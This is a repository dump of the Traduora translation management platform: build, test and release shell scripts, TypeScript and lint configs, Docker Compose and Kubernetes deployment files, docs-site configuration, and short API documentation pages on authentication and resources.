true, 14 | "outDir": "../dist", 15 | "baseUrl": "./src" 16 | }, 17 | "include": ["src/**/*", "test/**/*"], 18 | "exclude": ["node_modules"] 19 | } 20 | -------------------------------------------------------------------------------- /api/tsconfig.spec.json: -------------------------------------------------------------------------------- 1 | { 2 | "extends": "tsconfig.json", 3 | "compilerOptions": { 4 | "types": ["jest", "node"] 5 | }, 6 | "include": ["**/*.spec.ts", "**/*.d.ts"] 7 | } 8 | -------------------------------------------------------------------------------- /api/tslint.json: -------------------------------------------------------------------------------- 1 | { 2 | "defaultSeverity": "error", 3 | "extends": ["tslint:recommended"], 4 | "jsRules": { 5 | "no-unused-expression": true 6 | }, 7 | "rules": { 8 | "no-console": false, 9 | "eofline": false, 10 | "quotemark": [true, "single", "avoid-escape"], 11 | "indent": false, 12 | "member-access": [false], 13 | "ordered-imports": [false], 14 | "max-line-length": [true, 150], 15 | "member-ordering": [false], 16 | "curly": false, 17 | "interface-name": [false], 18 | "array-type": [false], 19 | "no-empty-interface": false, 20 | "no-empty": false, 21 | "arrow-parens": false, 22 | "object-literal-sort-keys": false, 23 | "no-unused-expression": false, 24 | "max-classes-per-file": [false], 25 | "variable-name": [false], 26 | "one-line": [false], 27 | "one-variable-per-declaration": [false], 28 | "object-literal-shorthand": [false] 29 | }, 30 | "rulesDirectory": [], 31 | "linterOptions": { 32 | "exclude": ["bin", "src/migrations/*", "**/*.json"] 33 | } 34 | } 35 | -------------------------------------------------------------------------------- /bin/build-docker-old.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | set -e 4 | 5 | DOCKER_REPO=traduora/traduora 6 | 7 | docker build -t "$DOCKER_REPO:latest" . 8 | 9 | if [[ $RELEASE != "" ]]; then 10 | echo $DOCKER_PASSWORD | docker login -u $DOCKER_USER --password-stdin 11 | 12 | echo "Releasing docker image: $DOCKER_REPO with latest tag" 13 | docker push "$DOCKER_REPO:latest" 14 | 15 | echo "Releasing docker image: $DOCKER_REPO with tag: $RELEASE" 16 | docker tag "$DOCKER_REPO:latest" $DOCKER_REPO:$RELEASE 17 | docker push "$DOCKER_REPO:$RELEASE" 18 | fi 19 | -------------------------------------------------------------------------------- /bin/build-docker.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | set -e 4 | 5 | DOCKER_REPO=everco/ever-traduora 6 | 7 | docker build -t "$DOCKER_REPO:latest" . 8 | 9 | if [[ $RELEASE != "" ]]; then 10 | echo $DOCKER_PASSWORD | docker login -u $DOCKER_USER --password-stdin 11 | 12 | echo "Releasing docker image: $DOCKER_REPO with latest tag" 13 | docker push "$DOCKER_REPO:latest" 14 | 15 | echo "Releasing docker image: $DOCKER_REPO with tag: $RELEASE" 16 | docker tag "$DOCKER_REPO:latest" $DOCKER_REPO:$RELEASE 17 | docker push "$DOCKER_REPO:$RELEASE" 18 | fi 19 | -------------------------------------------------------------------------------- /bin/build.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | set -e 4 | 5 | bin/install-deps.sh 6 | 7 | # Cleanup 8 | [ -e dist ] && rm -r dist 9 | 10 | # Build webapp 11 | cd webapp && yarn build:prod 12 | 13 | # Build api 14 | cd ../api && yarn build:prod 15 | cp -r node_modules ../dist/ 16 | -------------------------------------------------------------------------------- /bin/check.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | set -e 4 | 5 | export TERM=xterm 6 | 7 | function pprint() { 8 | local s=("$@") b w 9 | for l in "${s[@]}"; do 10 | ((w<${#l})) && { b="$l"; w="${#l}"; } 11 | done 12 | tput setaf 3 13 | echo "-${b//?/-}-" 14 | for l in "${s[@]}"; do 15 | printf '%s%*s%s\n' "$(tput setaf 2)" "-$w" "$l" 16 | done 17 | tput setaf 3 18 | echo "-${b//?/-}-" 19 | tput sgr 0 20 | } 21 | 22 | pprint "Installing dependencies if needed" 23 | bin/install-deps.sh 24 | 25 | pprint "Check code format" 26 | yarn check-fmt 27 | 28 | pprint "Linting API code" 29 | cd api && yarn lint 30 | 31 | pprint "Linting webapp code" 32 | cd ../webapp && yarn lint 33 | 34 | pprint "Running unit and e2e tests" "Ensure you are running a local MySQL with a database called 'tr_e2e'" 35 | cd .. && bin/test.sh 36 | 37 | pprint "All checks passed!" 38 | -------------------------------------------------------------------------------- /bin/check_lint.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | set -e 4 | 5 | export TERM=xterm 6 | 7 | function pprint() { 8 | local s=("$@") b w 9 | for l in "${s[@]}"; do 10 | ((w<${#l})) && { b="$l"; w="${#l}"; } 11 | done 12 | tput setaf 3 13 | echo "-${b//?/-}-" 14 | for l in "${s[@]}"; do 15 | printf '%s%*s%s\n' "$(tput setaf 2)" "-$w" "$l" 16 | done 17 | tput setaf 3 18 | echo "-${b//?/-}-" 19 | tput sgr 0 20 | } 21 | 22 | pprint "Installing dependencies if needed" 23 | bin/install-deps.sh 24 | 25 | pprint "Check code format" 26 | yarn check-fmt 27 | 28 | pprint "Linting API code" 29 | cd api && yarn lint 30 | 31 | # TODO: Re-enable linting of webapp code 32 | # pprint "Linting webapp code" 33 | # cd ../webapp && yarn lint 34 | 35 | pprint "All Linting checks passed!" 36 | -------------------------------------------------------------------------------- /bin/docker-run.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | set -e 4 | 5 | docker run -it -p 8080:8080 everco/ever-traduora:latest 6 | -------------------------------------------------------------------------------- /bin/install-deps.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | set -e 4 | 5 | yarn 6 | cd webapp && yarn 7 | cd ../api && yarn 8 | -------------------------------------------------------------------------------- /bin/release.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # usage: bin/release.sh 1.2.3 3 | 4 | set -e 5 | 6 | RELEASE=$1 7 | 8 | function isGitClean { 9 | if ! [[ -z $(git status -s) ]]; then 10 | echo "You have uncommited or staged changes on git, please commit them or stash them" 11 | return 1 12 | fi 13 | return 0 14 | } 15 | 16 | function displayVersioningHint { 17 | echo "Versions altered, you may fix this by running the following:" 18 | echo "" 19 | echo " git add -u && git commit --amend --no-edit -a && bin/release.sh $RELEASE " 20 | echo "" 21 | echo "When preparing a new release, you can edit all package.json files at once via" 22 | echo "" 23 | echo " bin/version.sh $RELEASE" 24 | } 25 | 26 | # Check prerequisites 27 | isGitClean || exit 1 28 | 29 | ## ./bin/version.sh 1.2.3 30 | (./bin/version.sh $RELEASE) 31 | 32 | # Check prerequisites 33 | isGitClean || (displayVersioningHint && exit 1) 34 | 35 | echo "Running checks" 36 | bin/check.sh 37 | 38 | echo "Tagging and pushing release to upstream" 39 | git tag $RELEASE -m "Release $RELEASE, please check the changelog for more details" 40 | git push origin master --follow-tags 41 | 42 | echo "Successfully pushed release $RELEASE to upstream" 43 | -------------------------------------------------------------------------------- /bin/start-dev.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | set -e 4 | 5 | bin/install-deps.sh 6 | 7 | yarn concurrently "cd api && yarn start" "cd webapp && yarn start" 8 | -------------------------------------------------------------------------------- /bin/start.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | set -e 4 | 5 | cd dist 6 | exec node src/main.js 7 | -------------------------------------------------------------------------------- /bin/test.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | set -e 4 | 5 | cd api && yarn test:ci 6 | -------------------------------------------------------------------------------- /bin/test_e2e.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | set -e 4 | 5 | export TERM=xterm 6 | 7 | function pprint() { 8 | local s=("$@") b w 9 | for l in "${s[@]}"; do 10 | ((w<${#l})) && { b="$l"; w="${#l}"; } 11 | done 12 | tput setaf 3 13 | echo "-${b//?/-}-" 14 | for l in "${s[@]}"; do 15 | printf '%s%*s%s\n' "$(tput setaf 2)" "-$w" "$l" 16 | done 17 | tput setaf 3 18 | echo "-${b//?/-}-" 19 | tput sgr 0 20 | } 21 | 22 | pprint "Installing dependencies if needed" 23 | bin/install-deps.sh 24 | 25 | pprint "Running e2e tests" "Ensure you are running a local MySQL with a database called 'tr_e2e'" 26 | cd api && yarn test:e2e 27 | 28 | pprint "All e2e tests passed!" 29 | -------------------------------------------------------------------------------- /bin/test_unit.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | set -e 4 | 5 | export TERM=xterm 6 | 7 | function pprint() { 8 | local s=("$@") b w 9 | for l in "${s[@]}"; do 10 | ((w<${#l})) && { b="$l"; w="${#l}"; } 11 | done 12 | tput setaf 3 13 | echo "-${b//?/-}-" 14 | for l in "${s[@]}"; do 15 | printf '%s%*s%s\n' "$(tput setaf 2)" "-$w" "$l" 16 | done 17 | tput setaf 3 18 | echo "-${b//?/-}-" 19 | tput sgr 0 20 | } 21 | 22 | pprint "Installing dependencies if needed" 23 | bin/install-deps.sh 24 | 25 | pprint "Running Unit Tests" "Ensure you are running a local MySQL with a database called 'tr_e2e'" 26 | cd api && yarn test 27 | 28 | pprint "All Unit Tests passed!" 29 | -------------------------------------------------------------------------------- /bin/version.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | # usage: bin/version.sh 1.2.3 4 | 5 | # Hint: 6 | # Before releasing you may directly invoke this script. 7 | # If versions are defined according to the passed release, 8 | # this script is just serving as a verification step. 9 | 10 | set -e 11 | 12 | if [[ $1 == "" ]]; then 13 | echo "No release version set" 14 | exit 1 15 | fi 16 | 17 | RELEASE=$1 18 | 19 | # sets the version in package.json 20 | # `npm version` takes care of ensuring a valid semver version, 21 | # or a semver'ish version starting with a zero 22 | function version { 23 | cd $1 > /dev/null 24 | echo "Setting version in $1/package.json" 25 | npm version $RELEASE --allow-same-version --git-tag-version false 26 | cd - > /dev/null 27 | } 28 | 29 | version . 30 | version api 31 | version webapp 32 | -------------------------------------------------------------------------------- /commitlint.config.js: -------------------------------------------------------------------------------- 1 | module.exports = { 2 | extends: ['@commitlint/config-conventional', '@commitlint/config-lerna-scopes'], 3 | }; 4 | -------------------------------------------------------------------------------- /deploy/k8s/traduora-preview-ingress-gcp.yaml: -------------------------------------------------------------------------------- 1 | apiVersion: v1 2 | kind: Namespace 3 | metadata: 4 | name: traduora-preview 5 | 6 | --- 7 | apiVersion: extensions/v1beta1 8 | kind: Ingress 9 | metadata: 10 | name: traduora 11 | namespace: traduora-preview 12 | labels: 13 | app: traduora 14 | # IMPORTANT: 15 | # It is strongly recommended that you only serve traduora over TLS 16 | # Configure according to your cloud environment 17 | # 18 | # annotations: 19 | # kubernetes.io/ingress.global-static-ip-name: "web-static-ip" # Replace with your GCP static ip 20 | # ingress.gcp.kubernetes.io/pre-shared-cert: "traduora-tls" # Replace with your GCP managed TLS certificate 21 | spec: 22 | rules: 23 | - host: traduora.example.com # Replace with your GCP DNS record 24 | http: 25 | paths: 26 | - path: /* 27 | backend: 28 | serviceName: traduora 29 | servicePort: http 30 | -------------------------------------------------------------------------------- /deploy/k8s/traduora-preview-ingress-nginx.yaml: -------------------------------------------------------------------------------- 1 | apiVersion: v1 2 | kind: Namespace 3 | metadata: 4 | name: traduora-preview 5 | 6 | --- 7 | apiVersion: extensions/v1beta1 8 | kind: Ingress 9 | metadata: 10 | name: traduora 11 | namespace: traduora-preview 12 | labels: 13 | app: traduora 14 | annotations: 15 | kubernetes.io/ingress.class: 'nginx' 16 | # IMPORTANT: 17 | # It is strongly recommended that you only serve traduora over TLS 18 | # Configure according to your cloud environment 19 | # 20 | # kubernetes.io/tls-acme: "true" 21 | # certmanager.k8s.io/cluster-issuer: your-letsencrypt-issuer 22 | # certmanager.k8s.io/acme-challenge-type: dns01 23 | # certmanager.k8s.io/acme-dns01-provider: your-dns-provider-name 24 | spec: 25 | # tls: 26 | # - hosts: 27 | # - traduora.example.com 28 | # secretName: traduora-tls 29 | rules: 30 | - host: traduora.example.com # Replace with your desired DNS record 31 | http: 32 | paths: 33 | - path: /* 34 | backend: 35 | serviceName: traduora 36 | servicePort: http 37 | -------------------------------------------------------------------------------- /docker-compose.demo.yaml: -------------------------------------------------------------------------------- 1 | version: '3.7' 2 | 3 | services: 4 | traduora: 5 | image: everco/ever-traduora:latest 6 | container_name: traduora 7 | ports: 8 | - '8080:8080' 9 | environment: 10 | TR_DB_USER: tr 11 | TR_DB_PASSWORD: change_me 12 | TR_DB_DATABASE: tr_dev 13 | TR_DB_HOST: mysqldb 14 | TR_DB_PORT: 3306 15 | NODE_ENV: ${NODE_ENV:-development} 16 | entrypoint: './docker-entrypoint.compose.sh' 17 | restart: on-failure 18 | depends_on: 19 | - mysqldb 20 | links: 21 | - mysqldb:${TR_DB_HOST:-mysqldb} 22 | networks: 23 | - overlay 24 | 25 | mysqldb: 26 | image: mysql:5.7 27 | container_name: mysqldb 28 | restart: always 29 | ports: 30 | - '3306:3306' 31 | environment: 32 | MYSQL_DATABASE: tr_dev 33 | MYSQL_USER: tr 34 | MYSQL_PASSWORD: change_me 35 | MYSQL_ROOT_PASSWORD: root 36 | MYSQL_ALLOW_EMPTY_PASSWORD: 'true' 37 | volumes: 38 | - ./traduora_mysql_data:/var/lib/mysql 39 | networks: 40 | - overlay 41 | 42 | networks: 43 | overlay: 44 | driver: bridge 45 | -------------------------------------------------------------------------------- /docker-compose.postgres.yaml: -------------------------------------------------------------------------------- 1 | version: '3.7' 2 | 3 | services: 4 | traduora: 5 | image: everco/ever-traduora:latest 6 | container_name: traduora 7 | build: 8 | context: . 9 | dockerfile: Dockerfile 10 | args: 11 | NODE_ENV: ${NODE_ENV:-development} 12 | ports: 13 | - '8080:8080' 14 | environment: 15 | TR_DB_TYPE: postgres 16 | TR_DB_USER: tr 17 | TR_DB_PASSWORD: change_me 18 | TR_DB_DATABASE: tr_dev 19 | TR_DB_HOST: postgresdb 20 | TR_DB_PORT: 5432 21 | NODE_ENV: ${NODE_ENV:-development} 22 | entrypoint: './docker-entrypoint.compose.sh' 23 | restart: on-failure 24 | depends_on: 25 | - postgresdb 26 | links: 27 | - postgresdb:${TR_DB_HOST:-postgresdb} 28 | networks: 29 | - overlay 30 | 31 | postgresdb: 32 | image: postgres:15-alpine 33 | container_name: postgresdb 34 | restart: always 35 | ports: 36 | - '5432:5432' 37 | environment: 38 | POSTGRES_DB: tr_dev 39 | POSTGRES_USER: tr 40 | POSTGRES_PASSWORD: change_me 41 | volumes: 42 | - ./traduora_postgres_data:/var/lib/postgresql/data 43 | networks: 44 | - overlay 45 | 46 | networks: 47 | overlay: 48 | driver: bridge 49 | -------------------------------------------------------------------------------- /docker-compose.yaml: -------------------------------------------------------------------------------- 1 | version: '3.7' 2 | 3 | services: 4 | traduora: 5 | image: everco/ever-traduora:latest 6 | container_name: traduora 7 | build: 8 | context: . 9 | dockerfile: Dockerfile 10 | args: 11 | NODE_ENV: ${NODE_ENV:-development} 12 | ports: 13 | - '8080:8080' 14 | environment: 15 | TR_DB_TYPE: mysql 16 | TR_DB_USER: tr 17 | TR_DB_PASSWORD: change_me 18 | TR_DB_DATABASE: tr_dev 19 | TR_DB_HOST: mysqldb 20 | TR_DB_PORT: 3306 21 | NODE_ENV: ${NODE_ENV:-development} 22 | entrypoint: './docker-entrypoint.compose.sh' 23 | restart: on-failure 24 | depends_on: 25 | - mysqldb 26 | links: 27 | - mysqldb:${TR_DB_HOST:-mysqldb} 28 | networks: 29 | - overlay 30 | 31 | mysqldb: 32 | image: mysql:5.7 33 | container_name: mysqldb 34 | restart: always 35 | ports: 36 | - '3306:3306' 37 | environment: 38 | MYSQL_DATABASE: tr_dev 39 | MYSQL_USER: tr 40 | MYSQL_PASSWORD: change_me 41 | MYSQL_ROOT_PASSWORD: root 42 | MYSQL_ALLOW_EMPTY_PASSWORD: 'true' 43 | volumes: 44 | - ./traduora_mysql_data:/var/lib/mysql 45 | networks: 46 | - overlay 47 | 48 | networks: 49 | overlay: 50 | driver: bridge 51 | -------------------------------------------------------------------------------- /docker-entrypoint.compose.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | set -ex 3 | 4 | # This Entrypoint used inside Docker Compose only 5 | 6 | export WAIT_HOSTS=$TR_DB_HOST:$TR_DB_PORT 7 | 8 | # in Docker Compose we should wait other services start 9 | ./wait 10 | 11 | exec node src/main.js 12 | -------------------------------------------------------------------------------- /docs-website/package.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "@ever-traduora/docs", 3 | "version": "0.20.5", 4 | "license": "AGPL-3.0-only", 5 | "homepage": "https://traduora.co", 6 | "repository": { 7 | "type": "git", 8 | "url": "git+https://github.com/ever-co/ever-traduora.git" 9 | }, 10 | "bugs": { 11 | "url": "https://github.com/ever-co/ever-traduora/issues" 12 | }, 13 | "private": true, 14 | "author": { 15 | "name": "Ever Co. LTD", 16 | "email": "ever@ever.co", 17 | "url": "https://ever.co" 18 | }, 19 | "scripts": { 20 | "start": "docusaurus-start", 21 | "build": "docusaurus-build", 22 | "publish": "docusaurus-publish", 23 | "write-translations": "docusaurus-write-translations", 24 | "version": "docusaurus-version", 25 | "rename-version": "docusaurus-rename-version" 26 | }, 27 | "devDependencies": { 28 | "docusaurus": "^1.14.7" 29 | }, 30 | "dependencies": { 31 | "bootstrap": "^4.6.2", 32 | "jpegtran-bin": "^7.0.0" 33 | }, 34 | "engines": { 35 | "node": ">=18.0.0", 36 | "yarn": ">=1.13.0" 37 | }, 38 | "snyk": true 39 | } 40 | -------------------------------------------------------------------------------- /docs-website/sidebars.json: -------------------------------------------------------------------------------- 1 | { 2 | "docs": { 3 | "Quickstart": ["getting-started", "screenshots", "deployment", "configuration"], 4 | "Concepts": ["concepts/formats"], 5 | "API reference": ["api/v1/overview", "api/v1/authentication", "api/v1/roles-permissions", "api/v1/endpoints", "api/v1/errors"], 6 | "Tools": ["tools/cli"], 7 | "Misc": ["changelog", "contributing", "faq"] 8 | } 9 | } 10 | -------------------------------------------------------------------------------- /docs-website/siteConfig.js: -------------------------------------------------------------------------------- 1 | const repo = 'https://github.com/ever-co/ever-traduora'; 2 | 3 | const siteConfig = { 4 | title: 'traduora', 5 | tagline: 'Ever® Traduora - Open Translation Management Platform', 6 | url: 'https://docs.traduora.co/', 7 | baseUrl: '/', 8 | projectName: 'traduora', 9 | editUrl: 'https://github.com/ever-co/ever-traduora/edit/master/docs/', 10 | headerLinks: [ 11 | { doc: 'getting-started', label: 'Getting started' }, 12 | { doc: 'changelog', label: 'Changelog' }, 13 | { href: repo, label: 'GitHub' }, 14 | { languages: true }, 15 | ], 16 | favicon: 'img/favicon.ico', 17 | colors: { 18 | primaryColor: '#3b84f8', 19 | secondaryColor: '#121020', 20 | }, 21 | highlight: { 22 | theme: 'vs2015', 23 | }, 24 | docsUrl: 'docs', 25 | noIndex: false, 26 | gaTrackingId: process.env.GA_TRACKING_ID, 27 | ogImage: 'img/traduora-preview.png', 28 | twitterImage: 'img/traduora-preview.png', 29 | cleanUrl: true, 30 | scrollToTop: true, 31 | copyright: 32 | 'Copyright © 2020-present Ever Co. LTD and contributors. All Rights Reserved', 33 | repoUrl: repo, 34 | scripts: ['https://buttons.github.io/buttons.js'], 35 | stylesheets: ['https://fonts.googleapis.com/css?family=Varela+Round:400', 'https://fonts.googleapis.com/css?family=Ubuntu:400,500,700'], 36 | separateCss: ['swagger-ui.css'], 37 | onPageNav: 'separate', 38 | }; 39 | 40 | module.exports = siteConfig; 41 | -------------------------------------------------------------------------------- /docs-website/static/css/custom.css: -------------------------------------------------------------------------------- 1 | * { 2 | min-height: 0; 3 | min-width: 0; 4 | } 5 | 6 | /* h1, h2, h3, h4, h5, p, span, small { 7 | font-weight: normal; 8 | } */ 9 | 10 | body { 11 | margin: 0; 12 | padding: 0; 13 | font-family: 14 | Ubuntu, 15 | -apple-system, 16 | BlinkMacSystemFont, 17 | 'Segoe UI', 18 | 'Roboto', 19 | 'Oxygen', 20 | 'Ubuntu', 21 | 'Cantarell', 22 | 'Fira Sans', 23 | 'Droid Sans', 24 | 'Helvetica Neue', 25 | sans-serif; 26 | -webkit-font-smoothing: antialiased; 27 | -moz-osx-font-smoothing: grayscale; 28 | } 29 | 30 | code { 31 | font-family: Menlo, Monaco, Consolas, 'Courier New', monospace; 32 | } 33 | 34 | .headerTitle { 35 | font-family: 36 | 'Varela Round', 37 | -apple-system, 38 | BlinkMacSystemFont, 39 | 'Open Sans', 40 | 'Helvetica Neue', 41 | sans-serif; 42 | font-weight: bold; 43 | } 44 | 45 | @media only screen and (max-width: 1024px) { 46 | .siteNavGroupActive a { 47 | background-color: $secondaryColor !important; 48 | } 49 | 50 | .siteNavItemActive a { 51 | background-color: $primaryColor !important; 52 | } 53 | } 54 | 55 | footer.nav-footer { 56 | box-shadow: none; 57 | background-color: $secondaryColor; 58 | font-size: 16px; 59 | } 60 | 61 | .feature-image { 62 | border-radius: 0.25rem; 63 | height: auto; 64 | width: 100%; 65 | } 66 | -------------------------------------------------------------------------------- /docs-website/static/docs/.DS_Store: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ever-co/ever-traduora/d5ac3740e3ee3b2e983c0d22f63108805961f8aa/docs-website/static/docs/.DS_Store -------------------------------------------------------------------------------- /docs-website/static/docs/api/v1/.DS_Store: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ever-co/ever-traduora/d5ac3740e3ee3b2e983c0d22f63108805961f8aa/docs-website/static/docs/api/v1/.DS_Store -------------------------------------------------------------------------------- /docs-website/static/docs/api/v1/swagger/index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | Swagger UI 7 | 8 | 9 | 10 | 28 | 29 | 30 | 31 |
32 | 33 | 34 | 35 | 51 | 52 | 53 | -------------------------------------------------------------------------------- /docs-website/static/img/collab.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ever-co/ever-traduora/d5ac3740e3ee3b2e983c0d22f63108805961f8aa/docs-website/static/img/collab.png -------------------------------------------------------------------------------- /docs-website/static/img/connect.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ever-co/ever-traduora/d5ac3740e3ee3b2e983c0d22f63108805961f8aa/docs-website/static/img/connect.jpg -------------------------------------------------------------------------------- /docs-website/static/img/favicon-16x16.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ever-co/ever-traduora/d5ac3740e3ee3b2e983c0d22f63108805961f8aa/docs-website/static/img/favicon-16x16.png -------------------------------------------------------------------------------- /docs-website/static/img/favicon-32x32.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ever-co/ever-traduora/d5ac3740e3ee3b2e983c0d22f63108805961f8aa/docs-website/static/img/favicon-32x32.png -------------------------------------------------------------------------------- /docs-website/static/img/favicon.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ever-co/ever-traduora/d5ac3740e3ee3b2e983c0d22f63108805961f8aa/docs-website/static/img/favicon.ico -------------------------------------------------------------------------------- /docs-website/static/img/formats.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ever-co/ever-traduora/d5ac3740e3ee3b2e983c0d22f63108805961f8aa/docs-website/static/img/formats.jpg -------------------------------------------------------------------------------- /docs-website/static/img/logo.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ever-co/ever-traduora/d5ac3740e3ee3b2e983c0d22f63108805961f8aa/docs-website/static/img/logo.png -------------------------------------------------------------------------------- /docs-website/static/img/main.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ever-co/ever-traduora/d5ac3740e3ee3b2e983c0d22f63108805961f8aa/docs-website/static/img/main.jpg -------------------------------------------------------------------------------- /docs-website/static/img/search.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ever-co/ever-traduora/d5ac3740e3ee3b2e983c0d22f63108805961f8aa/docs-website/static/img/search.jpg -------------------------------------------------------------------------------- /docs-website/static/img/team.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ever-co/ever-traduora/d5ac3740e3ee3b2e983c0d22f63108805961f8aa/docs-website/static/img/team.jpg -------------------------------------------------------------------------------- /docs-website/static/img/traduora-preview.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ever-co/ever-traduora/d5ac3740e3ee3b2e983c0d22f63108805961f8aa/docs-website/static/img/traduora-preview.png -------------------------------------------------------------------------------- /docs-website/static/index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 9 | 10 | Traduora Docs 11 | 12 | 13 | If you are not redirected automatically, follow this link. 14 | 15 | 16 | -------------------------------------------------------------------------------- /docs/api/v1/authentication.md: -------------------------------------------------------------------------------- 1 | --- 2 | id: authentication 3 | title: Authentication 4 | sidebar_label: Authentication 5 | --- 6 | 7 | Most endpoints require an authenticated user or an API client. Since the bearer token is included in each request on an authentication header, it is important to only serve requests over a secure connection. It is recommended to put the traduora server behind a reverse proxy / load balancer that does the TLS termination. 8 | 9 | There are two types of authentication: `client_credentials` (for project clients) and `password` (for users). 10 | 11 | A user must already exist for the `password` grant type, and a project client must exist and not be revoked for the `client_credentials` grant type. 12 | 13 | ## Authentication Token 14 | 15 | Once you have obtained your authentication token, you should include it on each subsequent request in the `Authorization` header: 16 | 17 | ``` 18 | Authorization: Bearer 19 | ``` 20 | -------------------------------------------------------------------------------- /docs/api/v1/endpoints.md: -------------------------------------------------------------------------------- 1 | --- 2 | id: endpoints 3 | title: Endpoints 4 | sidebar_label: Endpoints 5 | --- 6 | 7 | The API endpoint reference is available **[here](/docs/api/v1/swagger)**. 8 | -------------------------------------------------------------------------------- /docs/api/v1/overview.md: -------------------------------------------------------------------------------- 1 | --- 2 | id: overview 3 | title: API reference 4 | sidebar_label: Overview 5 | --- 6 | 7 | The Traduora REST API is available under the `/api/v1/` path. All requests should be served over HTTPS in order to not compromise the authentication tokens. 8 | 9 | The API endpoint reference is available **[here](/docs/api/v1/swagger)**. 10 | 11 | ## API resources 12 | 13 | - **User:** an entity used to identify for whom the requests are made. 14 | - **Project:** a workspace for the translations. 15 | - **Project Plan:** the feature plan for which a project is signed up for (default to open-source). 16 | - **Project User:** a user which has access to a given project. 17 | - **Project Client:** an API client which has access to a given project. 18 | - **Project Invite:** an invitation to join a project on traduora. 19 | - **Term:** a string key which groups together translations across multiple locales. 20 | - **Translation:** the translation for a term on a particular locale. 21 | - **Import:** a job to convert and import a group of translations. 22 | - **Export:** a job to export a group of translations into a given format. 23 | - **Locale:** an entity used to identify a language and region. 24 | - **Label:** a label can be used to keep your terms and translations organized and tidy. 25 | 26 | ## API response 27 | 28 | All API responses are wrapped in a `data` object. In the future this will be used to group together metadata fields (i.e. pagination). For example: 29 | 30 | ```json 31 | { 32 | "data": (...) 33 | } 34 | ``` 35 | -------------------------------------------------------------------------------- /docs/assets/images/screenshots/add-api-keys.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ever-co/ever-traduora/d5ac3740e3ee3b2e983c0d22f63108805961f8aa/docs/assets/images/screenshots/add-api-keys.png -------------------------------------------------------------------------------- /docs/assets/images/screenshots/add-new-label.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ever-co/ever-traduora/d5ac3740e3ee3b2e983c0d22f63108805961f8aa/docs/assets/images/screenshots/add-new-label.png -------------------------------------------------------------------------------- /docs/assets/images/screenshots/add-new-project.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ever-co/ever-traduora/d5ac3740e3ee3b2e983c0d22f63108805961f8aa/docs/assets/images/screenshots/add-new-project.png -------------------------------------------------------------------------------- /docs/assets/images/screenshots/add-new-terms.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ever-co/ever-traduora/d5ac3740e3ee3b2e983c0d22f63108805961f8aa/docs/assets/images/screenshots/add-new-terms.png -------------------------------------------------------------------------------- /docs/assets/images/screenshots/add-project-locale.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ever-co/ever-traduora/d5ac3740e3ee3b2e983c0d22f63108805961f8aa/docs/assets/images/screenshots/add-project-locale.png -------------------------------------------------------------------------------- /docs/assets/images/screenshots/add-project-team.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ever-co/ever-traduora/d5ac3740e3ee3b2e983c0d22f63108805961f8aa/docs/assets/images/screenshots/add-project-team.png -------------------------------------------------------------------------------- /docs/assets/images/screenshots/api-keys.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ever-co/ever-traduora/d5ac3740e3ee3b2e983c0d22f63108805961f8aa/docs/assets/images/screenshots/api-keys.png -------------------------------------------------------------------------------- /docs/assets/images/screenshots/assign-label-to-translations.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ever-co/ever-traduora/d5ac3740e3ee3b2e983c0d22f63108805961f8aa/docs/assets/images/screenshots/assign-label-to-translations.png -------------------------------------------------------------------------------- /docs/assets/images/screenshots/create-project.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ever-co/ever-traduora/d5ac3740e3ee3b2e983c0d22f63108805961f8aa/docs/assets/images/screenshots/create-project.png -------------------------------------------------------------------------------- /docs/assets/images/screenshots/export-project-translation.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ever-co/ever-traduora/d5ac3740e3ee3b2e983c0d22f63108805961f8aa/docs/assets/images/screenshots/export-project-translation.png -------------------------------------------------------------------------------- /docs/assets/images/screenshots/export.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ever-co/ever-traduora/d5ac3740e3ee3b2e983c0d22f63108805961f8aa/docs/assets/images/screenshots/export.png -------------------------------------------------------------------------------- /docs/assets/images/screenshots/import-project-translation.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ever-co/ever-traduora/d5ac3740e3ee3b2e983c0d22f63108805961f8aa/docs/assets/images/screenshots/import-project-translation.png -------------------------------------------------------------------------------- 